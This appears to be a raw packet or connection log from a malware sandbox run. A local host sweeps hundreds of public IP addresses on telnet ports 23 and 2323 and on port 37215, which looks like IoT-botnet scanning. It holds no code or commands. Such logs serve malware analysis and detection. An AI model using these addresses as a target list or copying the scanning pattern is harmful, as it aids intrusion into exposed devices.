Nov 3, 2024 15:37:17.157694101 CET	36201	23	192.168.2.14	123.228.107.41
Nov 3, 2024 15:37:17.157708883 CET	23	36201	92.178.244.94	192.168.2.14
Nov 3, 2024 15:37:17.157723904 CET	36201	23	192.168.2.14	204.197.24.89
Nov 3, 2024 15:37:17.157737970 CET	23	36201	37.39.59.152	192.168.2.14
Nov 3, 2024 15:37:17.157752037 CET	36201	23	192.168.2.14	92.178.244.94
Nov 3, 2024 15:37:17.157767057 CET	23	36201	188.254.13.29	192.168.2.14
Nov 3, 2024 15:37:17.157782078 CET	36201	23	192.168.2.14	37.39.59.152
Nov 3, 2024 15:37:17.157795906 CET	23	36201	185.131.102.47	192.168.2.14
Nov 3, 2024 15:37:17.157808065 CET	36201	23	192.168.2.14	188.254.13.29
Nov 3, 2024 15:37:17.157824039 CET	23	36201	147.77.34.139	192.168.2.14
Nov 3, 2024 15:37:17.157836914 CET	36201	23	192.168.2.14	185.131.102.47
Nov 3, 2024 15:37:17.157866955 CET	36201	23	192.168.2.14	147.77.34.139
Nov 3, 2024 15:37:17.157876968 CET	2323	36201	142.1.158.241	192.168.2.14
Nov 3, 2024 15:37:17.157907009 CET	23	36201	70.125.46.145	192.168.2.14
Nov 3, 2024 15:37:17.157921076 CET	36201	2323	192.168.2.14	142.1.158.241
Nov 3, 2024 15:37:17.157936096 CET	23	36201	192.232.1.123	192.168.2.14
Nov 3, 2024 15:37:17.157953978 CET	36201	23	192.168.2.14	70.125.46.145
Nov 3, 2024 15:37:17.157963991 CET	23	36201	210.49.125.99	192.168.2.14
Nov 3, 2024 15:37:17.157974005 CET	36201	23	192.168.2.14	192.232.1.123
Nov 3, 2024 15:37:17.157994032 CET	23	36201	176.53.226.132	192.168.2.14
Nov 3, 2024 15:37:17.158009052 CET	36201	23	192.168.2.14	210.49.125.99
Nov 3, 2024 15:37:17.158023119 CET	23	36201	118.205.125.109	192.168.2.14
Nov 3, 2024 15:37:17.158036947 CET	36201	23	192.168.2.14	176.53.226.132
Nov 3, 2024 15:37:17.158052921 CET	23	36201	201.96.97.60	192.168.2.14
Nov 3, 2024 15:37:17.158068895 CET	36201	23	192.168.2.14	118.205.125.109
Nov 3, 2024 15:37:17.158082008 CET	23	36201	108.214.197.192	192.168.2.14
Nov 3, 2024 15:37:17.158098936 CET	36201	23	192.168.2.14	201.96.97.60
Nov 3, 2024 15:37:17.158109903 CET	23	36201	86.106.69.68	192.168.2.14
Nov 3, 2024 15:37:17.158121109 CET	36201	23	192.168.2.14	108.214.197.192
Nov 3, 2024 15:37:17.158138990 CET	2323	36201	79.126.123.3	192.168.2.14
Nov 3, 2024 15:37:17.158154011 CET	36201	23	192.168.2.14	86.106.69.68
Nov 3, 2024 15:37:17.158166885 CET	23	36201	164.145.109.133	192.168.2.14
Nov 3, 2024 15:37:17.158180952 CET	36201	2323	192.168.2.14	79.126.123.3
Nov 3, 2024 15:37:17.158196926 CET	23	36201	154.89.182.26	192.168.2.14
Nov 3, 2024 15:37:17.158241987 CET	36201	23	192.168.2.14	164.145.109.133
Nov 3, 2024 15:37:17.158282995 CET	23	36201	186.60.142.79	192.168.2.14
Nov 3, 2024 15:37:17.158308983 CET	36201	23	192.168.2.14	154.89.182.26
Nov 3, 2024 15:37:17.158312082 CET	23	36201	1.4.36.68	192.168.2.14
Nov 3, 2024 15:37:17.158329010 CET	36201	23	192.168.2.14	186.60.142.79
Nov 3, 2024 15:37:17.158343077 CET	23	36201	195.236.30.123	192.168.2.14
Nov 3, 2024 15:37:17.158355951 CET	36201	23	192.168.2.14	1.4.36.68
Nov 3, 2024 15:37:17.158371925 CET	23	36201	145.86.28.235	192.168.2.14
Nov 3, 2024 15:37:17.158386946 CET	36201	23	192.168.2.14	195.236.30.123
Nov 3, 2024 15:37:17.158416986 CET	36201	23	192.168.2.14	145.86.28.235
Nov 3, 2024 15:37:17.158427000 CET	23	36201	189.248.49.145	192.168.2.14
Nov 3, 2024 15:37:17.158457041 CET	23	36201	145.214.176.195	192.168.2.14
Nov 3, 2024 15:37:17.158469915 CET	36201	23	192.168.2.14	189.248.49.145
Nov 3, 2024 15:37:17.158489943 CET	23	36201	114.136.183.223	192.168.2.14
Nov 3, 2024 15:37:17.158504009 CET	36201	23	192.168.2.14	145.214.176.195
Nov 3, 2024 15:37:17.158520937 CET	2323	36201	37.168.242.150	192.168.2.14
Nov 3, 2024 15:37:17.158534050 CET	36201	23	192.168.2.14	114.136.183.223
Nov 3, 2024 15:37:17.158550024 CET	23	36201	167.234.11.166	192.168.2.14
Nov 3, 2024 15:37:17.158562899 CET	36201	2323	192.168.2.14	37.168.242.150
Nov 3, 2024 15:37:17.158581018 CET	23	36201	74.241.43.137	192.168.2.14
Nov 3, 2024 15:37:17.158591986 CET	36201	23	192.168.2.14	167.234.11.166
Nov 3, 2024 15:37:17.158612013 CET	23	36201	114.42.42.112	192.168.2.14
Nov 3, 2024 15:37:17.158626080 CET	36201	23	192.168.2.14	74.241.43.137
Nov 3, 2024 15:37:17.158643007 CET	23	36201	142.10.68.181	192.168.2.14
Nov 3, 2024 15:37:17.158655882 CET	36201	23	192.168.2.14	114.42.42.112
Nov 3, 2024 15:37:17.158674955 CET	23	36201	203.212.242.173	192.168.2.14
Nov 3, 2024 15:37:17.158684969 CET	36201	23	192.168.2.14	142.10.68.181
Nov 3, 2024 15:37:17.158704996 CET	23	36201	195.170.20.207	192.168.2.14
Nov 3, 2024 15:37:17.158720970 CET	36201	23	192.168.2.14	203.212.242.173
Nov 3, 2024 15:37:17.158732891 CET	23	36201	62.67.99.225	192.168.2.14
Nov 3, 2024 15:37:17.158745050 CET	36201	23	192.168.2.14	195.170.20.207
Nov 3, 2024 15:37:17.158761978 CET	23	36201	110.139.34.174	192.168.2.14
Nov 3, 2024 15:37:17.158777952 CET	36201	23	192.168.2.14	62.67.99.225
Nov 3, 2024 15:37:17.158802032 CET	36201	23	192.168.2.14	110.139.34.174
Nov 3, 2024 15:37:17.177311897 CET	36590	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:17.177314997 CET	52898	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:17.177319050 CET	58866	2323	192.168.2.14	211.170.10.153
Nov 3, 2024 15:37:17.177319050 CET	45356	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:17.177323103 CET	52788	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:17.177323103 CET	33442	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:17.177324057 CET	54364	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:17.177324057 CET	36736	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:17.177325964 CET	38050	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:17.177335024 CET	38626	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:17.177335024 CET	33312	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:17.177339077 CET	58160	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:17.177344084 CET	45288	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:17.177344084 CET	51820	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:17.177345037 CET	38024	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:17.177356005 CET	53038	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:17.177356958 CET	43744	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:17.177359104 CET	34072	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:17.177359104 CET	41344	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:17.177362919 CET	39654	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:17.177371979 CET	50938	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:17.177372932 CET	48660	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:17.177376032 CET	51156	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:17.177378893 CET	54948	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:17.177378893 CET	40990	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:17.177381039 CET	56592	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:17.177381992 CET	49896	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:17.177381992 CET	37890	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:17.177383900 CET	52834	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:17.177392960 CET	55948	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:17.177396059 CET	52076	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:17.177398920 CET	49746	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:17.177401066 CET	43472	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:17.177403927 CET	49764	23	192.168.2.14	61.152.193.65
Nov 3, 2024 15:37:17.177407980 CET	34670	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:17.177417994 CET	34974	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:17.177423000 CET	37088	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:17.177423000 CET	40062	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:17.177423000 CET	53174	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:17.177424908 CET	48258	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:17.177424908 CET	33018	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:17.177439928 CET	51498	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:17.177445889 CET	36120	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:17.177445889 CET	59634	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:17.177448034 CET	42614	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:17.177448034 CET	51972	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:17.177448034 CET	59052	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:17.177450895 CET	42300	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:17.177452087 CET	45054	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:17.177453995 CET	48664	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:17.177457094 CET	43216	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:17.177457094 CET	38814	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:17.177457094 CET	51246	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:17.177457094 CET	55834	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:17.177457094 CET	59936	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:17.177464008 CET	33938	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:17.177478075 CET	45984	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:17.177481890 CET	37356	23	192.168.2.14	58.242.212.93
Nov 3, 2024 15:37:17.177484989 CET	42506	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:17.177484989 CET	44016	2323	192.168.2.14	76.219.225.187
Nov 3, 2024 15:37:17.182261944 CET	23	36590	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:17.182318926 CET	23	52898	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:17.182337046 CET	36590	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:17.182363033 CET	52898	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:17.182388067 CET	50974	2323	192.168.2.14	177.34.118.29
Nov 3, 2024 15:37:17.182399988 CET	53590	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:17.182405949 CET	32950	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:17.182425022 CET	60162	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:17.182425022 CET	46384	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:17.182444096 CET	40848	23	192.168.2.14	188.140.168.11
Nov 3, 2024 15:37:17.182456017 CET	50520	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:17.182456017 CET	40836	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:17.182480097 CET	54618	23	192.168.2.14	64.50.83.57
Nov 3, 2024 15:37:17.182486057 CET	47048	23	192.168.2.14	157.186.69.99
Nov 3, 2024 15:37:17.182497025 CET	54160	23	192.168.2.14	193.9.168.134
Nov 3, 2024 15:37:17.182509899 CET	32808	23	192.168.2.14	110.209.199.58
Nov 3, 2024 15:37:17.182509899 CET	46698	2323	192.168.2.14	70.208.94.20
Nov 3, 2024 15:37:17.182527065 CET	57890	23	192.168.2.14	44.168.131.54
Nov 3, 2024 15:37:17.182533026 CET	46470	23	192.168.2.14	123.228.107.41
Nov 3, 2024 15:37:17.182533026 CET	38286	23	192.168.2.14	204.197.24.89
Nov 3, 2024 15:37:17.182552099 CET	44396	23	192.168.2.14	92.178.244.94
Nov 3, 2024 15:37:17.182554960 CET	37796	23	192.168.2.14	37.39.59.152
Nov 3, 2024 15:37:17.187357903 CET	2323	50974	177.34.118.29	192.168.2.14
Nov 3, 2024 15:37:17.187422991 CET	50974	2323	192.168.2.14	177.34.118.29
Nov 3, 2024 15:37:17.415369987 CET	35945	37215	192.168.2.14	197.129.248.216
Nov 3, 2024 15:37:17.415385008 CET	35945	37215	192.168.2.14	41.55.162.52
Nov 3, 2024 15:37:17.415385008 CET	35945	37215	192.168.2.14	156.114.113.249
Nov 3, 2024 15:37:17.415385962 CET	35945	37215	192.168.2.14	197.2.225.52
Nov 3, 2024 15:37:17.415415049 CET	35945	37215	192.168.2.14	197.190.181.13
Nov 3, 2024 15:37:17.415397882 CET	35945	37215	192.168.2.14	41.79.6.143
Nov 3, 2024 15:37:17.415397882 CET	35945	37215	192.168.2.14	41.26.16.95
Nov 3, 2024 15:37:17.415421009 CET	35945	37215	192.168.2.14	156.213.172.99
Nov 3, 2024 15:37:17.415422916 CET	35945	37215	192.168.2.14	197.250.146.27
Nov 3, 2024 15:37:17.415422916 CET	35945	37215	192.168.2.14	197.149.234.61
Nov 3, 2024 15:37:17.415426970 CET	35945	37215	192.168.2.14	197.59.199.42
Nov 3, 2024 15:37:17.415436983 CET	35945	37215	192.168.2.14	197.209.83.179
Nov 3, 2024 15:37:17.415441990 CET	35945	37215	192.168.2.14	197.240.244.138
Nov 3, 2024 15:37:17.415441990 CET	35945	37215	192.168.2.14	41.194.189.117
Nov 3, 2024 15:37:17.415443897 CET	35945	37215	192.168.2.14	41.172.53.46
Nov 3, 2024 15:37:17.415447950 CET	35945	37215	192.168.2.14	156.107.231.198
Nov 3, 2024 15:37:17.415452003 CET	35945	37215	192.168.2.14	197.157.15.99
Nov 3, 2024 15:37:17.415456057 CET	35945	37215	192.168.2.14	41.124.190.242
Nov 3, 2024 15:37:17.415458918 CET	35945	37215	192.168.2.14	156.99.138.59
Nov 3, 2024 15:37:17.415458918 CET	35945	37215	192.168.2.14	197.150.67.56
Nov 3, 2024 15:37:17.415472031 CET	35945	37215	192.168.2.14	156.250.99.41
Nov 3, 2024 15:37:17.415472031 CET	35945	37215	192.168.2.14	197.133.145.51
Nov 3, 2024 15:37:17.415487051 CET	35945	37215	192.168.2.14	197.226.188.19
Nov 3, 2024 15:37:17.415488005 CET	35945	37215	192.168.2.14	156.243.97.113
Nov 3, 2024 15:37:17.415488005 CET	35945	37215	192.168.2.14	41.12.216.181
Nov 3, 2024 15:37:17.415508032 CET	35945	37215	192.168.2.14	41.142.198.224
Nov 3, 2024 15:37:17.415512085 CET	35945	37215	192.168.2.14	197.120.214.197
Nov 3, 2024 15:37:17.415513039 CET	35945	37215	192.168.2.14	156.45.172.124
Nov 3, 2024 15:37:17.415513039 CET	35945	37215	192.168.2.14	41.211.209.236
Nov 3, 2024 15:37:17.415519953 CET	35945	37215	192.168.2.14	197.129.139.168
Nov 3, 2024 15:37:17.415519953 CET	35945	37215	192.168.2.14	41.133.246.1
Nov 3, 2024 15:37:17.415525913 CET	35945	37215	192.168.2.14	156.150.77.202
Nov 3, 2024 15:37:17.415528059 CET	35945	37215	192.168.2.14	156.77.240.167
Nov 3, 2024 15:37:17.415534973 CET	35945	37215	192.168.2.14	156.39.201.82
Nov 3, 2024 15:37:17.415539026 CET	35945	37215	192.168.2.14	156.34.6.228
Nov 3, 2024 15:37:17.415539026 CET	35945	37215	192.168.2.14	156.20.90.126
Nov 3, 2024 15:37:17.415539026 CET	35945	37215	192.168.2.14	197.118.215.64
Nov 3, 2024 15:37:17.415539026 CET	35945	37215	192.168.2.14	41.29.117.126
Nov 3, 2024 15:37:17.415544033 CET	35945	37215	192.168.2.14	156.45.18.156
Nov 3, 2024 15:37:17.415544033 CET	35945	37215	192.168.2.14	41.190.235.42
Nov 3, 2024 15:37:17.415549040 CET	35945	37215	192.168.2.14	41.165.27.63
Nov 3, 2024 15:37:17.415565968 CET	35945	37215	192.168.2.14	156.202.17.110
Nov 3, 2024 15:37:17.415565968 CET	35945	37215	192.168.2.14	41.115.9.33
Nov 3, 2024 15:37:17.415570974 CET	35945	37215	192.168.2.14	156.196.79.110
Nov 3, 2024 15:37:17.415574074 CET	35945	37215	192.168.2.14	156.14.141.193
Nov 3, 2024 15:37:17.415575981 CET	35945	37215	192.168.2.14	156.232.28.24
Nov 3, 2024 15:37:17.415580034 CET	35945	37215	192.168.2.14	197.78.148.18
Nov 3, 2024 15:37:17.415580988 CET	35945	37215	192.168.2.14	197.140.108.199
Nov 3, 2024 15:37:17.415577888 CET	35945	37215	192.168.2.14	156.159.121.122
Nov 3, 2024 15:37:17.415577888 CET	35945	37215	192.168.2.14	41.244.92.53
Nov 3, 2024 15:37:17.415597916 CET	35945	37215	192.168.2.14	156.158.75.2
Nov 3, 2024 15:37:17.415597916 CET	35945	37215	192.168.2.14	41.142.21.255
Nov 3, 2024 15:37:17.415600061 CET	35945	37215	192.168.2.14	197.91.66.209
Nov 3, 2024 15:37:17.415606976 CET	35945	37215	192.168.2.14	156.152.9.35
Nov 3, 2024 15:37:17.415611029 CET	35945	37215	192.168.2.14	41.188.248.68
Nov 3, 2024 15:37:17.415621996 CET	35945	37215	192.168.2.14	41.206.24.118
Nov 3, 2024 15:37:17.415625095 CET	35945	37215	192.168.2.14	197.149.193.76
Nov 3, 2024 15:37:17.415628910 CET	35945	37215	192.168.2.14	197.6.204.28
Nov 3, 2024 15:37:17.415632010 CET	35945	37215	192.168.2.14	41.8.20.54
Nov 3, 2024 15:37:17.415635109 CET	35945	37215	192.168.2.14	41.27.23.50
Nov 3, 2024 15:37:17.415635109 CET	35945	37215	192.168.2.14	197.53.221.158
Nov 3, 2024 15:37:17.415640116 CET	35945	37215	192.168.2.14	197.170.5.243
Nov 3, 2024 15:37:17.415642977 CET	35945	37215	192.168.2.14	41.171.235.71
Nov 3, 2024 15:37:17.415647984 CET	35945	37215	192.168.2.14	41.94.83.198
Nov 3, 2024 15:37:17.415657997 CET	35945	37215	192.168.2.14	197.89.215.115
Nov 3, 2024 15:37:17.415661097 CET	35945	37215	192.168.2.14	41.12.142.198
Nov 3, 2024 15:37:17.415663004 CET	35945	37215	192.168.2.14	41.196.87.175
Nov 3, 2024 15:37:17.415667057 CET	35945	37215	192.168.2.14	41.111.29.101
Nov 3, 2024 15:37:17.415683985 CET	35945	37215	192.168.2.14	156.64.225.236
Nov 3, 2024 15:37:17.415688992 CET	35945	37215	192.168.2.14	197.7.222.123
Nov 3, 2024 15:37:17.415690899 CET	35945	37215	192.168.2.14	197.180.246.155
Nov 3, 2024 15:37:17.415694952 CET	35945	37215	192.168.2.14	197.250.218.205
Nov 3, 2024 15:37:17.415694952 CET	35945	37215	192.168.2.14	156.11.164.216
Nov 3, 2024 15:37:17.415703058 CET	35945	37215	192.168.2.14	197.124.57.204
Nov 3, 2024 15:37:17.415721893 CET	35945	37215	192.168.2.14	197.15.158.56
Nov 3, 2024 15:37:17.415721893 CET	35945	37215	192.168.2.14	156.65.199.151
Nov 3, 2024 15:37:17.415723085 CET	35945	37215	192.168.2.14	156.52.80.217
Nov 3, 2024 15:37:17.415729046 CET	35945	37215	192.168.2.14	156.68.187.66
Nov 3, 2024 15:37:17.415735006 CET	35945	37215	192.168.2.14	41.26.163.71
Nov 3, 2024 15:37:17.415735006 CET	35945	37215	192.168.2.14	156.59.201.209
Nov 3, 2024 15:37:17.415735006 CET	35945	37215	192.168.2.14	156.79.123.45
Nov 3, 2024 15:37:17.415735006 CET	35945	37215	192.168.2.14	41.132.58.47
Nov 3, 2024 15:37:17.415740967 CET	35945	37215	192.168.2.14	156.140.142.205
Nov 3, 2024 15:37:17.415745020 CET	35945	37215	192.168.2.14	197.59.77.126
Nov 3, 2024 15:37:17.415760040 CET	35945	37215	192.168.2.14	41.204.167.217
Nov 3, 2024 15:37:17.415760994 CET	35945	37215	192.168.2.14	156.187.191.204
Nov 3, 2024 15:37:17.415762901 CET	35945	37215	192.168.2.14	197.248.117.24
Nov 3, 2024 15:37:17.415764093 CET	35945	37215	192.168.2.14	41.81.94.229
Nov 3, 2024 15:37:17.415766001 CET	35945	37215	192.168.2.14	41.158.88.17
Nov 3, 2024 15:37:17.415766001 CET	35945	37215	192.168.2.14	156.141.45.192
Nov 3, 2024 15:37:17.415771961 CET	35945	37215	192.168.2.14	41.247.183.34
Nov 3, 2024 15:37:17.415796995 CET	35945	37215	192.168.2.14	41.224.192.224
Nov 3, 2024 15:37:17.415802002 CET	35945	37215	192.168.2.14	156.211.79.51
Nov 3, 2024 15:37:17.415817022 CET	35945	37215	192.168.2.14	197.9.159.78
Nov 3, 2024 15:37:17.415817022 CET	35945	37215	192.168.2.14	197.131.226.137
Nov 3, 2024 15:37:17.415807962 CET	35945	37215	192.168.2.14	197.138.127.28
Nov 3, 2024 15:37:17.415826082 CET	35945	37215	192.168.2.14	197.82.219.67
Nov 3, 2024 15:37:17.415826082 CET	35945	37215	192.168.2.14	41.95.77.76
Nov 3, 2024 15:37:17.415827990 CET	35945	37215	192.168.2.14	197.79.165.96
Nov 3, 2024 15:37:17.415827990 CET	35945	37215	192.168.2.14	41.86.62.140
Nov 3, 2024 15:37:17.415827990 CET	35945	37215	192.168.2.14	41.168.12.238
Nov 3, 2024 15:37:17.415827990 CET	35945	37215	192.168.2.14	41.150.139.203
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	156.129.87.50
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	156.162.100.44
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	197.31.169.2
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	156.84.133.125
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	156.216.155.40
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	41.121.57.226
Nov 3, 2024 15:37:17.415828943 CET	35945	37215	192.168.2.14	41.83.201.150
Nov 3, 2024 15:37:17.415833950 CET	35945	37215	192.168.2.14	156.160.87.181
Nov 3, 2024 15:37:17.415836096 CET	35945	37215	192.168.2.14	41.216.53.199
Nov 3, 2024 15:37:17.415836096 CET	35945	37215	192.168.2.14	197.91.96.111
Nov 3, 2024 15:37:17.415836096 CET	35945	37215	192.168.2.14	156.156.42.27
Nov 3, 2024 15:37:17.415836096 CET	35945	37215	192.168.2.14	156.104.69.251
Nov 3, 2024 15:37:17.415836096 CET	35945	37215	192.168.2.14	41.219.91.183
Nov 3, 2024 15:37:17.415841103 CET	35945	37215	192.168.2.14	41.84.106.176
Nov 3, 2024 15:37:17.415844917 CET	35945	37215	192.168.2.14	197.211.177.4
Nov 3, 2024 15:37:17.415851116 CET	35945	37215	192.168.2.14	156.77.141.174
Nov 3, 2024 15:37:17.415851116 CET	35945	37215	192.168.2.14	197.97.148.85
Nov 3, 2024 15:37:17.415853977 CET	35945	37215	192.168.2.14	197.109.211.27
Nov 3, 2024 15:37:17.415853977 CET	35945	37215	192.168.2.14	156.229.182.173
Nov 3, 2024 15:37:17.415853977 CET	35945	37215	192.168.2.14	156.73.112.6
Nov 3, 2024 15:37:17.415854931 CET	35945	37215	192.168.2.14	197.23.192.5
Nov 3, 2024 15:37:17.415858030 CET	35945	37215	192.168.2.14	41.87.106.106
Nov 3, 2024 15:37:17.415864944 CET	35945	37215	192.168.2.14	156.67.156.163
Nov 3, 2024 15:37:17.415872097 CET	35945	37215	192.168.2.14	41.149.205.81
Nov 3, 2024 15:37:17.415858030 CET	35945	37215	192.168.2.14	197.41.112.78
Nov 3, 2024 15:37:17.415867090 CET	35945	37215	192.168.2.14	41.50.48.125
Nov 3, 2024 15:37:17.415858030 CET	35945	37215	192.168.2.14	197.149.255.32
Nov 3, 2024 15:37:17.415863991 CET	35945	37215	192.168.2.14	156.213.227.89
Nov 3, 2024 15:37:17.415858030 CET	35945	37215	192.168.2.14	156.74.243.13
Nov 3, 2024 15:37:17.415863991 CET	35945	37215	192.168.2.14	156.114.251.69
Nov 3, 2024 15:37:17.415880919 CET	35945	37215	192.168.2.14	41.200.110.66
Nov 3, 2024 15:37:17.415891886 CET	35945	37215	192.168.2.14	156.27.158.197
Nov 3, 2024 15:37:17.415891886 CET	35945	37215	192.168.2.14	156.186.37.142
Nov 3, 2024 15:37:17.415899992 CET	35945	37215	192.168.2.14	197.4.73.222
Nov 3, 2024 15:37:17.415900946 CET	35945	37215	192.168.2.14	197.96.67.126
Nov 3, 2024 15:37:17.415899992 CET	35945	37215	192.168.2.14	156.133.20.11
Nov 3, 2024 15:37:17.415903091 CET	35945	37215	192.168.2.14	156.22.100.210
Nov 3, 2024 15:37:17.415903091 CET	35945	37215	192.168.2.14	197.38.152.143
Nov 3, 2024 15:37:17.415904999 CET	35945	37215	192.168.2.14	41.243.58.29
Nov 3, 2024 15:37:17.415909052 CET	35945	37215	192.168.2.14	197.82.214.148
Nov 3, 2024 15:37:17.415925026 CET	35945	37215	192.168.2.14	41.60.51.75
Nov 3, 2024 15:37:17.415925980 CET	35945	37215	192.168.2.14	197.44.201.4
Nov 3, 2024 15:37:17.415925980 CET	35945	37215	192.168.2.14	156.137.71.112
Nov 3, 2024 15:37:17.415927887 CET	35945	37215	192.168.2.14	197.245.116.176
Nov 3, 2024 15:37:17.415927887 CET	35945	37215	192.168.2.14	197.239.23.244
Nov 3, 2024 15:37:17.415927887 CET	35945	37215	192.168.2.14	156.6.116.222
Nov 3, 2024 15:37:17.415934086 CET	35945	37215	192.168.2.14	197.23.167.171
Nov 3, 2024 15:37:17.415935040 CET	35945	37215	192.168.2.14	197.89.76.158
Nov 3, 2024 15:37:17.415941000 CET	35945	37215	192.168.2.14	41.183.185.110
Nov 3, 2024 15:37:17.415941000 CET	35945	37215	192.168.2.14	41.3.130.164
Nov 3, 2024 15:37:17.415955067 CET	35945	37215	192.168.2.14	197.26.228.227
Nov 3, 2024 15:37:17.415956020 CET	35945	37215	192.168.2.14	156.156.107.165
Nov 3, 2024 15:37:17.415960073 CET	35945	37215	192.168.2.14	197.237.3.124
Nov 3, 2024 15:37:17.415960073 CET	35945	37215	192.168.2.14	156.63.178.156
Nov 3, 2024 15:37:17.415960073 CET	35945	37215	192.168.2.14	197.170.217.161
Nov 3, 2024 15:37:17.415961981 CET	35945	37215	192.168.2.14	41.128.114.142
Nov 3, 2024 15:37:17.415967941 CET	35945	37215	192.168.2.14	156.132.86.24
Nov 3, 2024 15:37:17.415971041 CET	35945	37215	192.168.2.14	41.98.81.105
Nov 3, 2024 15:37:17.415982962 CET	35945	37215	192.168.2.14	41.17.84.74
Nov 3, 2024 15:37:17.415968895 CET	35945	37215	192.168.2.14	156.68.2.188
Nov 3, 2024 15:37:17.415968895 CET	35945	37215	192.168.2.14	156.162.206.21
Nov 3, 2024 15:37:17.415987968 CET	35945	37215	192.168.2.14	197.181.110.118
Nov 3, 2024 15:37:17.415991068 CET	35945	37215	192.168.2.14	156.47.241.23
Nov 3, 2024 15:37:17.415992022 CET	35945	37215	192.168.2.14	41.102.149.220
Nov 3, 2024 15:37:17.415992022 CET	35945	37215	192.168.2.14	197.41.209.42
Nov 3, 2024 15:37:17.415993929 CET	35945	37215	192.168.2.14	197.1.60.129
Nov 3, 2024 15:37:17.415994883 CET	35945	37215	192.168.2.14	197.113.164.144
Nov 3, 2024 15:37:17.415996075 CET	35945	37215	192.168.2.14	156.140.40.50
Nov 3, 2024 15:37:17.415997982 CET	35945	37215	192.168.2.14	41.229.224.195
Nov 3, 2024 15:37:17.416017056 CET	35945	37215	192.168.2.14	156.40.137.2
Nov 3, 2024 15:37:17.416017056 CET	35945	37215	192.168.2.14	156.56.83.5
Nov 3, 2024 15:37:17.416018009 CET	35945	37215	192.168.2.14	156.141.219.144
Nov 3, 2024 15:37:17.416018009 CET	35945	37215	192.168.2.14	41.247.13.69
Nov 3, 2024 15:37:17.416023970 CET	35945	37215	192.168.2.14	41.172.74.110
Nov 3, 2024 15:37:17.416030884 CET	35945	37215	192.168.2.14	197.40.189.239
Nov 3, 2024 15:37:17.416035891 CET	35945	37215	192.168.2.14	156.232.161.12
Nov 3, 2024 15:37:17.416038036 CET	35945	37215	192.168.2.14	197.35.101.202
Nov 3, 2024 15:37:17.416042089 CET	35945	37215	192.168.2.14	156.81.193.90
Nov 3, 2024 15:37:17.416058064 CET	35945	37215	192.168.2.14	41.210.7.140
Nov 3, 2024 15:37:17.416058064 CET	35945	37215	192.168.2.14	41.178.241.183
Nov 3, 2024 15:37:17.416059017 CET	35945	37215	192.168.2.14	156.123.96.168
Nov 3, 2024 15:37:17.416076899 CET	35945	37215	192.168.2.14	41.100.28.172
